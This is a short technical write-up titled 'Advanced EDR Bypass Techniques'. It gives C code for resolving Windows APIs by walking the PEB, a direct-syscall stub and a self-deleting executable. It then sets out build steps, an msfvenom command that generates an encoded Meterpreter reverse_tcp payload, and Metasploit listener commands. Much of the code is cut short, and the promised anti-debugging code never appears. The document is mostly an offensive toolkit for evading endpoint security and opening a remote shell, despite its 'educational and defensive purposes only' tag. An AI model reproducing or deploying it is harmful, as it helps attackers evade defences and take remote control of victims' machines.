Advanced EDR Bypass Techniques

Reda Ouzidane

April 10, 2025

Contents

1 Introduction

This document presents an advanced EDR bypass implementation using Native API calls and direct syscalls. The techniques demonstrated include:

- Dynamic API resolution via PEB walking
- Direct syscall invocation
- Memory protection manipulation
- Anti-debugging techniques
- Stealthy process self-deletion

2 Complete Implementation

2.1 Header and Definitions

```c
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <wchar.h>
#include <psapi.h>

#pragma comment(lib, "ntdll.lib")

// Obfuscated function pointers
typedef NTSTATUS(NTAPI* pNtCreateFile)(
    PHANDLE FileHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PIO_STATUS_BLOCK IoStatusBlock,
    PLARGE_INTEGER AllocationSize,
    ULONG FileAttributes,
    ULONG ShareAccess,
    ULONG CreateDisposition,
    ULONG CreateOptions,
    PVOID EaBuffer,
    ULONG EaLength
    );

// Additional typedefs for other Native API functions...
```

Listing 1: Header Section

2.2 Dynamic API Resolution

```
PVOID GetProcAddressEx(IN LPCSTR lpModuleName, IN LPCSTR lpApiName) {
    PPEB pPeb = (PPEB)__readgsqword(0x60);
    PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr;
    PLDR_DATA_TABLE_ENTRY pDte =
        (PLDR_DATA_TABLE_ENTRY)pLdr->InMemoryOrderModuleList.Flink;

    while (pDte) {
        if (pDte->FullDllName.Buffer) {
            PWCHAR wsName = pDte->FullDllName.Buffer;
            PCHAR sName = (PCHAR)malloc(pDte->FullDllName.Length + 1);
            WideCharToMultiByte(CP_ACP, 0, wsName, -1,
                sName, pDte->FullDllName.Length + 1, NULL, NULL);

            if (_stricmp(sName + strlen(sName) - strlen(lpModuleName),
                lpModuleName) == 0) {

                // PE parsing logic continues...
```

Listing 2: PEB Walking Implementation

2.3 Direct Syscall Implementation

```
__declspec(naked) NTSTATUS DirectNtCreateFile() {
    __asm {
        mov r10, rcx
        mov eax, 0x55 // Syscall number for NtCreateFile
        syscall
        ret
    }
}
```

Listing 3: Syscall Invocation

2.4 Self-Deletion Mechanism

```
NTSTATUS SelfDeleteWithSyscalls() {
    HANDLE hFile = NULL;
    WCHAR wszFilePath[MAX_PATH * 2] = { 0 };
    IO_STATUS_BLOCK ioStatus = { 0 };

    if (!GetModuleFileNameW(NULL, wszFilePath, MAX_PATH * 2)) {
        return STATUS_UNSUCCESSFUL;
    }

    // Initialize object attributes
    UNICODE_STRING filePath;
    RtlInitUnicodeString(&filePath, wszFilePath);

    OBJECT_ATTRIBUTES objAttr = { 0 };
    InitializeObjectAttributes(&objAttr, &filePath,
        OBJ_CASE_INSENSITIVE, NULL, NULL);

    // Use direct syscall for file operations
    NTSTATUS status = DirectNtCreateFile(
        &hFile,
        DELETE | SYNCHRONIZE,
        &objAttr,
        &ioStatus,
        NULL,
        FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT,
        NULL,
        0
    );
    // Additional deletion logic...
```

Listing 4: File Deletion with Syscalls

3 Compilation and Usage

3.1 Build Instructions

Compile with Mingw-w64 on Linux:

```
x86_64-w64-mingw32-gcc -o edr_bypass.exe edr_bypass.c \
    -static -lntdll -Wl,--subsystem,windows
```

3.2 Payload Generation

Generate Meterpreter payload:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=192.168.1.100 LPORT=4444 \
    -f c -e x86/shikata_ga_nai -i 5 -b "\x00"
```

3.3 Metasploit Listener

```
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
set ExitOnSession false
exploit -j
```

4 Technical Analysis

4.1 EDR Evasion Techniques

- **Direct Syscalls**: Bypass user-mode hooks by invoking kernel directly
- **Dynamic Resolution**: Avoid monitored APIs like GetProcAddress
- **Memory Obfuscation**: Use lower-level memory management
- **Anti-Debugging**: Multiple layers of debugger detection

4.2 Detection Mitigation

Technique	**EDR Bypass Method**
API Hooking	Direct syscalls
Memory Scanning	Dynamic allocation
Process Inspection	Self-deletion
Behavior Analysis	Indirect execution

5 Conclusion

This implementation demonstrates advanced techniques for bypassing modern EDR solutions. The combination of direct syscall invocation, dynamic API resolution, and careful memory manipulation provides effective evasion capabilities.

Developed by Reda Ouzidane
For educational and defensive purposes only